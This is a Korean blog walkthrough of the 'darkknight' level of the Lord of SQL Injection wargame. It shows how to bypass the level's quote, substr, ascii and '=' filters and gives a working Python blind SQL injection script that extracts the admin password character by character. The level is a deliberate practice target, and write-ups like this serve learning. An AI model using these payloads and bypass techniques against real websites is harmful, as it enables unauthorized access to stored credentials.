일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
Tags
- github
- object
- xss game 풀이
- 조건문
- sql injection
- IF문
- property
- window
- 백준 파이썬
- 메소드
- lord of sql injection
- Pwndbg
- jQuery
- 자바스크립트
- htmlspecialchars
- 함수
- suninatas 풀이
- 파이썬
- 포인터
- python
- 백준 알고리즘
- document
- element 조회
- burp suite
- 사칙연산
- xss game
- 김성엽 대표님
- 배열
- 객체
- blind sql injection
Archives
- Today
- Total
power-girl0-0
[ Los ] darkknight 본문
728x90
주소 : https://los.rubiya.kr/
Lord of SQLInjection
los.rubiya.kr
[ 문제 ]
[ 풀이 ]
해당 문제에서는 pw에서는 '(싱글 쿼터)를 차단하고 있고,
no에서는 '(싱글 쿼터), substr, ascii, = 을 차단하고 있다.
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
'(싱글쿼터)가 막힌 경우 "(더블 쿼터)로 대체할 수 있다.
해당 문제에서는 pw와 no의 값을 입력받아 처리한다.
따라서 pw는 '(싱글쿼터)가 이미 입력된 상태이므로, no를 이용하여 pw를 구해보자.
먼저, Blind sql injection이 되는지 확인을 위해 id=admin을 넣어보자.
? no=1 || id like "admin" %23 |
위와 같이 'Hello admin'이 출력되는 것을 확인할 수 있다.
그럼 Blind sql injection을 이용하여 pw의 길이를 구해보자.
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}
def password_length():
len_pw=0
while 1 :
len_pw += 1
print(len_pw)
value = "1 || id like \"admin\" && length(pw) like {} #".format(len_pw)
params={'no':value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
print("password length : ", len_pw)
break
return len_pw
password_length()
위와 같이, pw 길이는 8인 것을 확인할 수 있다.
웹페이지에서도 확인해보자.
? no=1 || id like "admin" %26%26 length(pw) like 8 %23 |
길이를 구했으니, pw를 유추해보자.
ascii함수를 사용할 수 없으니, ord함수로 대체하였다.
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}
def password_length():
len_pw=0
while 1 :
len_pw += 1
print(len_pw)
value = "1 || id like \"admin\" && length(pw) like {} #".format(len_pw)
params={'no':value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
print("password length : ", len_pw)
break
return len_pw
def find_pw(len_pw):
pw=''
for i in range(1,len_pw+1):
print(i,"번째 찾는 중")
for j in range(48,122):
value = "1 || id like \"admin\" && ord(mid(pw, {}, 1)) like {} #".format(i, j)
params={"no":value}
response = requests.get(url,params=params, cookies=cookies)
if "Hello admin" in response.text:
pw+=chr(j)
print("password : ",pw)
break
find_pw(password_length())
위에서 찾은 0b70ea1f 값을 웹페이지에서 pw에 넣어보자.
해당 문제에서도 데이터베이스의 pw면 CLEAR되므로, pw=0b70ea1f 만 입력해주면 CLEAR된다.
CLEAR!!
728x90
'War game > Lord of SQL Injection' 카테고리의 다른 글
[ Los ] giant (0) | 2021.03.22 |
---|---|
[ Los ] bugbear (0) | 2021.03.22 |
[ Los ] golem (0) | 2021.03.22 |
[ Los ] skeleton (0) | 2021.03.21 |
[ Los ] vampire (0) | 2021.03.21 |
Comments